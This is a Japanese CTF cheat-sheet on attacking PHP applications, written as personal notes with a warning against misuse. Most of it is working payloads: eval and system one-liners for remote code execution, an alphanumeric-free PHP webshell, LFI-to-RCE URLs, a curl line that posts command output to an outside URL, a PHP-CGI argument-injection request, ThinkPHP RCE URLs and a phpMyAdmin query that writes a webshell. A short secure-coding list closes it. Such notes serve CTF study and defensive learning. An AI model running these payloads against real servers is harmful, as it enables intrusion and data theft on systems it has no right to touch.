本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。
PHP問題
Webサーバのフロントエンド、バックエンドとして普及しているPHPにはセキュリティ的課題が多い。
eval関数による任意phpコード実行
<?php eval($_POST['cmd']); ?>
となりうるコードがあると危険- ワンライナー一覧
- RCE
system("ls -la ./");
<?='cat /flag';
- ls
foreach(new DirectoryIterator('glob:///*') as $f){ echo $f."\n"; }
print_r(scandir('./'));
var_dump(scandir("/var/www/html"));
- cat
readfile(glob('*')[0]);
eval(system('cat /flag'));
show_source('./flag.txt');
- base64で出したい
var_dump(base64_encode(readfile("../../../flag.so")));
- base64で出したい
- 定義済み配列をすべて出す
print_r(get_defined_vars())
- ブラインドRCE
$output=shell_exec(\"ls\");shell_exec(\"curl -XPOST -d'data=$output' [url]"\");
ここ
- RCE
- phpファイルを動かすには
数字もアルファベットも使用しないで、PHPコード実行ができる
<?= $_=[] ?> <?= $_=@"$_" ?> <?= $_=$_[('!'=='@')] ?> <?= $__ = $_ ?> <?= @$____ = $__++ + $__++ + $__++ + $__++ + $__++ + $__++ ?> <?= $_______ = "_".$__ ?> <?= $__ = $_ ?> <?= @$____ = $__++ + $__++ + $__++ + $__++ ?> <?= $_______ .= $__ ?> <?= $__ = $_ ?> <?= @$____ = $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ + $__++ ?> <?= $_______ .= $__ ?> <?= ${$_______}["_"](${$_______}["__"]) ?>
これをアップロードして、127.0.0.0.1/index.php?_=system&__=ls
のように使う
$__="`{{{"^"?<>/";${$__}['_'](${$__}['__']); // GET (?_=var_dump&__="ab"みたいに使用) $__='#./|{'^'|~`//';${$__}['_'](${$__}['__']); // POST // 使ったやつ ?warmup=$__="`{{{"^"?<>/";${$__}['_'](${$__}['__']);&_=highlight_file&__=flag.php
LFI: Local File Injection
- 例えば
?page=home
とか?page=ab.php
とかなっていれば、LFIが使える場合がある - PHP的には
include($_GET['page']);
のような感じになっている - LFIの詳細については、別途ページで記載予定。簡単に今は書いておく
include先でechoしているものはechoされた後のコードで得られる
以下のようなindex.phpがあるとする。
echo $_GET['a']; include($_GET['b']);
/index.php?b=http://localhost/index.php/?a=%3C?system(%22ls%22);?%3E
でRCE成立- localhostとしているのは、インターネット外部からのLFIができない環境を想定している
- 外部接続できるなら、外部から持ってくればいいしね
安全でないデシリアライゼーション
- 外部からデシリアライズするデータを渡せるとき、意図しないクラスの意図しない状態のインスタンスを生成するテク 徳丸さん記事 OWASP
- 細かくは別途ページで記載予定。
- オブジェクトの変数(プロパティ)をインジェクションできる
汚染用のクラスのシリアライゼーションを取得するには
<?php class Foo { private $msg = "evil message"; } echo urlencode(serialize(new Foo));
他攻撃組合せ
PHPの言語的な所
- PHP Type Juggling
- PHPの比較は弱いことが知られている
!strcasecmp($_POST['flag'], $flag)
,strcmp($_POST['password'], $password) == 0
- 実はバイパス可能
$_POST['flag'] = []
となるようにPOSTで与えてやれば、全体をtrueにすることができる- 配列を渡すには
flag%5B%5D=
こんな感じにすればいい(flag[]=
のURLエンコーディング後) - htmlでは
<input type="hidden" name="flag[]" value=""/>
こんな感じ
'1234a' == 1234
は真となる- でも
is_numeric('1234a')
はしっかりfalseなので、is_numericのバイパスに使える "1abc" == "0abc" + 1
も真(!) ここ
- でも
- magic hash
'0e????' = '0'
が成り立つ。左辺はMD5ハッシュで出てくる可能性があるので、ハッシュを調整してこの状態を作る問題がある- ?には0-9が入る必要がある
- この問題では、
./flag.txt
,.//flag.txt
,.///flag.txt
のようにスラッシュを増やしていっても問題ないことを利用してハッシュを変えて全探索していた- 881回スラッシュで出てきた
- magic hash一覧 https://github.com/spaze/hashes
- MD5
QNKCDZO
240610708
- SHA256
34250003024812
aaroZmOk
0e9682187459792981
- MD5
- parse_url関数
- バージョンによっては
http://websec.fr/level25/index.php?page=main&send=%E9%80%81%E4%BF%A1&a=1:2
が失敗する :
が値に入っていると失敗する。失敗すると、戻り値がnullになる
- バージョンによっては
$_SERVER['PHP_SELF']
とbasename関数- Injection可能 $_SERVER['PHP_SELF']は危険? - [PHP + PHP] ぺんたん info
- basename関数は、localeを適切に設定しないと、マルチバイト文字を無視する仕様になっている
- より具体的には
\x80-\xff
を無視する?
- より具体的には
- 以下実験メモ
http://localhost/index.php/config.php
$_SERVER['PHP_SELF'] = /index.php/config.php
basename($_SERVER['PHP_SELF']) = config.php
http://localhost/index.php/config.php/a
$_SERVER['PHP_SELF'] = /index.php/config.php/a
basename($_SERVER['PHP_SELF']) = a
http://localhost/index.php/config.php/あ?source
※ %E3%81%82 = あ$_SERVER['PHP_SELF'] = /index.php/config.php/あ
basename($_SERVER['PHP_SELF']) = config.php
$address = filter_var($address, FILTER_VALIDATE_EMAIL);
でメールアドレスチェック""@a.b
とすると通る- 例えば
"'
whoami'"@example.com
とすると、whoamiが解釈されて"markus"@example.com
となったりする '||1#@i.i
もvalid(SQLinjectionで成功する)- RCEもある
"attacker\" -oQ/tmp/ -X/var/www/cache/phpcode.php "@email.co
こんな感じ?ちょっと分からない
- エラーを出したいとき(未検証)
error_reporting(E_ALL);
ini_set('error_reporting', E_ALL);
ini_set('display_errors', '1');
- GETリクエストの解釈違い
?username=abc&username=efg
となった場合$_GET["username"]
->efg
new URL(location).searchParams.get("username")
->abc
- PHPでリダイレクトをしたらdie,exitを呼び出しなさい
- Safely handling redirects with die() and exit() in PHP | Acunetix
- リダイレクト呼び出しをしても終了処理をしないと、後ろの部分は処理されて、場合によっては応答としてユーザーに渡されてしまう
- dieとexitのどっちがいいか?という話 PHP: Utilizing exit(); or die(); after header("Location: "); - Stack Overflow
- どっちでもよさそうなので、正常系処理ならexit(0)としとけばいいんじゃないかな?
- PHPのgetパラメタ配列化Attack
- CTFtime.org / Chujowy CTF 2020 / SHA256 Collision
https://web5.chujowyc.tf/?a[]=0&b[]=1
で突破可能$ha = hash("sha256", $_GET['a']); // $ha === null
$_GET['a'] !== $_GET['b']
のように配列の===比較では中身までちゃんと見てくれる
- CTFtime.org / Chujowy CTF 2020 / SHA256 Collision
- .user.ini
- ob_start関数
- バッファを一旦保持しておいて、決まったタイミングでflushする機構
- ob_startで保持されたバッファは、fatal errorが発生すれば強制的にflushされたりする
- CTFtime.org / 3kCTF-2020 / xsser
- この問題では、unserialize関数で
O:11:"Traversable":0:{}
を入れてfatal errorを起こしていた- Traversableクラスは抽象クラスなので、抽象クラスを作ろうとしてfatal errorが出てくる
- is_numeric
- 数値の前に%09, %20,%0a,%0b,%0c,%0dが来てもtrueになる
- trueになるやつ
1e9
- preg_replace関数
- 1回しかreplaceしないので、selSELECTectみたいにすればいい
- md5関数の誤用
"select * from Users where pw='" . md5(%ps, true) . "'"
というリクエスト作成方法について- md5の第二引数にtrueがあると、ハッシュ値をhex文字列ではなくバイナリで返してくれる
- バイナリなので、任意のascii文字列になるように原文を探して送れば、SQLiとかが可能 안경잡이개발자 :: [해킹 대회 문제] wargame.kr - md5 password 문제풀이(Write Up)
- 上の例だと
'='
が含まれればいい。3文字くらいなら即見つかるけど、7文字にしたら途端に見つからなくなった
FFIについて
- PHPからdllファイルを読み込んで実行できる機構
$ffi = FFI::load('/flag.h');
⇒$a = $ffi->flag_fUn3t1on_fFi();
⇒var_dump(FFI::string($a));
みたいな感じ- メモリ抜き出しも行える
$a = FFI::new ('uint8_t[256]', true, false); $a = FFI::cast ('uint8_t *', $a); $n = 1024*512; for($i=0;$i<$n+(1024*1024);$i++){ echo chr($a[(-$n)+$i]);; }
phpinfo
- 見方
- System: OSがWindowsかLinuxか
- Registered PHP Streams, Registered Stream Filters: 使えるストリームが分かる(php://とか)
- extension_dir: php拡張モジュールのパス(いつ使う?)
- short_open_tag:
<?=
,<? echo
,<? ?>
が使えるかどうか - disable_functions: 使えない関数が列挙されている
- open_basedir
- ここにフォルダパスが書かれている場合は、ファイルオープンはこのパス以下じゃないとダメ。
- でも、
DirectoryIterator
を使えば任意の場所のlsができる。 FFI::load
もこれの影響を受けない。
- SERVER_ADDR: サーバのIPアドレス
- DOCUMENT_ROOT: ルートディレクトリ
- linuxなら
/var/www/html
が普通?
- linuxなら
- session: セッションの設定が見られる(todo: 観点は?)
- セッションが保存されている場所や使用可能な場所を確認することができる
- gopher: これがあればSSRFできるかも
- fastcgiが有効になってればRCEとかできたりする(todo: どうやって確認?)
- allow_url_include: 有効ならLFIできる?(よくわかってない)
- allow_url_fopen: 有効ならLFIできる?(よくわかってない)
- urlで外部ファイルをfopenできるってだけ?
- REMOTE FILE INCLUSIONというらしい
- asp_tags: aspタグを解析するために有効になっている
- magic_quotes_gpc: adslashes() のような文字をエスケープ
- libxml 2.9 より前のバージョンでは、外部エンティティへの参照をデフォルトでサポートしていたため、XXEできる
- opcacheはPHPコードをコンパイルしてキャッシュしておくもの
- 有効でファイルアップロードできれば、キャッシュポイズニングができるかも
- サーバーファイルと同じ名前のローカルファイルを生成し、キャッシュファイル xx.php.binを生成すればいい
- GoSecure/php7-opcache-override: Security-related PHP7 OPcache abuse tools and demo
- 有用なレポジトリ
- imapが有効なら、CVE-2018-19518かも
- upload_tmp_dir: 一時ファイルが保存されているフォルダが表示されますが、ファイル名はランダム
- 参考
OPcache
PHPのキャッシュ機構。以下攻撃手法
- phpinfoを見て、opcacheが有効か確認
opcache.file_cache = /var/www/cache/
ならば/var/www/cache/[system_id]/var/www/html/flag.php.bin
を探せばいい。- これのsystem_id_scraper.pyを使ってsystem_idを抜き出す
python ./system_id_scraper.py http://carthagods.3k.ctf.to:8039/info.php
PHPの脆弱性
POST /?-d+allow_url_include%3d1+-d+auto_prepend_file%3dphp://input ... <?php system('cat /etc/hosts');exit;
フレームワークやソフトウェア依存
- ThinkPHP
- ThinkPHPは中国でよく使われているPHPフレームワーク
- RCE脆弱性が発見されている
- payloads
http://192.168.100.161:54064/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20%22flag%22
http://192.168.100.161:54064/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
- phpmyadmin
/phpmyadmin/
でphpmyadminが開ける場合がある- 初期設定では
root:
でログイン可能(パスワード無) - SQLを使ってファイル作成ができる
SELECT "<php eval($_POST['cmd']); ?>" INTO OUTFILE '/tmp/webshell.php'
- こうやると、tmpにファイルが置ける。
- なぜtmpフォルダかというと、他の領域が権限がなくても、tmpフォルダは大体置ける
- あとは、/tmp/webshell.phpをLFIとかで持ってきて任意実行する
PHP難読化
- YAK Pro
<?php goto IF8nM; xf_W1: FNJF5: goto C3HKQ; FwMGj: echo $GPDVR; goto Caizj; rOdKz: r9mi3: goto EDaji;
こんな感じになる。根性で解読する。
SQL Injection問題 CTF
- 安全でないデシリアライゼーション
- OPcache
Practicalな話
実装時に気を付けること
一応、気が付いたら追記していくが、PHPで実装に気を付ける所は枚挙にいとまがない。
全部気を付けていても漏れがたぶんある。
多重防御というか、どこか漏れていてもどこかでガードできるように、全ての部分にセキュリティ的配慮を持とう。
以下に気を付ける部分を書いていくが、書きかけ記事であり、うのみにしてはいけない。
自分のメモを全体共有しているだけ。
書ききったかな?と思ったら埋め込み文章形式を外す予定。
- SQL文を作成する場合はプリペアードステートメント - 比較文は基本===でやる - evalは使わない - セッションは自分では作らない
(CTFじゃ使えないけど)テストツール
未調査。